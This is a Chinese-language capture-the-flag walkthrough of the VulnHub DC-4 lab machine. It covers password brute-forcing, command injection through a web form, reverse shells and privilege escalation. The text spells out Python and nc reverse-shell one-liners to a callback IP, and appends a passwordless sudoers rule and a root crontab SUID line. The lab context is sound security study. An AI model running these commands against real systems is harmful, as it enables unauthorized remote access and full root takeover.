vulnhub DC-4 walkthrough (含非预期)

实验

先做一个简单的信息收集

这是一个 admin:x 的登录入口,尝试 burp 爆破密码,字典使用 rockyou.txt

顺便扫一下目录

跑的时候久一点,会卡

拿到账号秘密 admin:happy

选择想使用的功能,点击 run,可以显示命令输出结果

尝试抓包修改命令

ls+-ls -> id

注:www-data 用户是 Linux 系统中专门为 Web 服务设计的用户,权限受严格控制。

既然能够命令执行,尝试反弹 shell

经过尝试,python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.130",1314));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/bash 192.168.110.130 1314等等都可以用的。

说明:

  • UID = 33 (www-data):表示该进程的实际用户(Real User ID)是 www-data。这意味着该进程属于 www-data 用户。
  • GID = 33 (www-data):表示该进程的实际组(Real Group ID)是 www-data 组。
  • EUID = 0 (root):表示该进程的有效用户(Effective User ID)是 root。有效用户 ID 决定了该进程在运行时实际拥有的权限。EUID 为 0 表示该进程具有 root 用户的权限。
  • Groups = 33 (www-data):表示该进程的所属组是 www-data。

    这是一个复现过程,结果发现这么个非预期解答。可能与python反弹 shell 的操作有关。现在来讲一下正常解。
    使用 nc -e /bin/bash 192.168.110.130 1314 反弹 shell

    只有 jim 文件里有东西,仔细查看

    jim 文件下的 old-passwords.bak 存储着久密码集,尝试爆破一些他的 ssh 账号。


    拿到 jim:jibril04

    提示有一封邮件,全局搜索 mail
    find / -d -name '*mail*' 2>/dev/null


    拿到另一组账号密码 Charles:^xHhA&hvim0y

    可特权使用 teehee
    查看使用帮助

    法一
    向 /etc/passwd 添加特权用户 或者 修改 /etc/sudoers
    echo 'ALL ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
    修改 /etc/sudoers 文件,以允许所有用户无需密码即可执行所有命令

说明

sudo 是"superuser do"的缩写,它允许授权用户以超级用户(root)或其他用户的身份运行命令。

使用 sudo 时,系统会要求输入当前用户的密码(而不是 root 的密码),前提是该用户已经被授权使用 sudo(通常在 /etc/sudoers 文件中配置)。

su 是"switch user"的缩写,用于切换到另一个用户的身份。默认情况下,不带任何参数的 su 命令会切换到 root 用户。

使用 su 时,系统会要求输入目标用户的密码(例如,切换到 root 时需要输入 root 的密码)。

sudo su 的作用

切换到 root 用户:

sudo su 的组合命令允许当前用户(必须是 sudo 授权用户)以 root 用户的身份打开一个新的终端会话。

这个命令的执行过程如下:

sudo 以超级用户权限运行 su 命令。

su 命令切换到 root 用户,并打开一个新的 root 终端会话。

不需要输入 root 密码:

如果你直接使用 su 命令切换到 root 用户,系统会要求输入 root 的密码。但使用 sudo su 时,系统会要求输入当前用户的密码(前提是该用户已被授权使用 sudo),而不需要输入 root 的密码。

法二:修改计划任务
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
/bin/sh

说明

计划任务格式

分钟 小时 日期 月份 星期 user command

上面命令代表 root 每分钟执行一次 chmod 4777 /bin/sh

4 代表 suid 位,表示以所有者权限执行,而 7 代表 读写执行(r,w,x)所有权限

总结

  • 扫描主机 ip,端口和服务版本信息。
  • burp 爆破 admin 密码并成功登录。
  • 利用网页命令执行功能抓包修改命令反弹 shell 成功。
  • 利用 jim 旧密码集爆破 jim ssh 密码,成功登录。
  • 根据提示查看邮件,成功切换到 charles
  • 利用 charles 特权命令 teehee 修改计划任务或修改 sudoers 提权成功。
相关推荐
Johny_Zhao1 天前
OpenClaw安装部署教程
linux·人工智能·ai·云计算·系统运维·openclaw
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
chlk1233 天前
Linux文件权限完全图解:读懂 ls -l 和 chmod 755 背后的秘密
linux·操作系统
舒一笑3 天前
Ubuntu系统安装CodeX出现问题
linux·后端
改一下配置文件3 天前
Ubuntu24.04安装NVIDIA驱动完整指南(含Secure Boot解决方案)
linux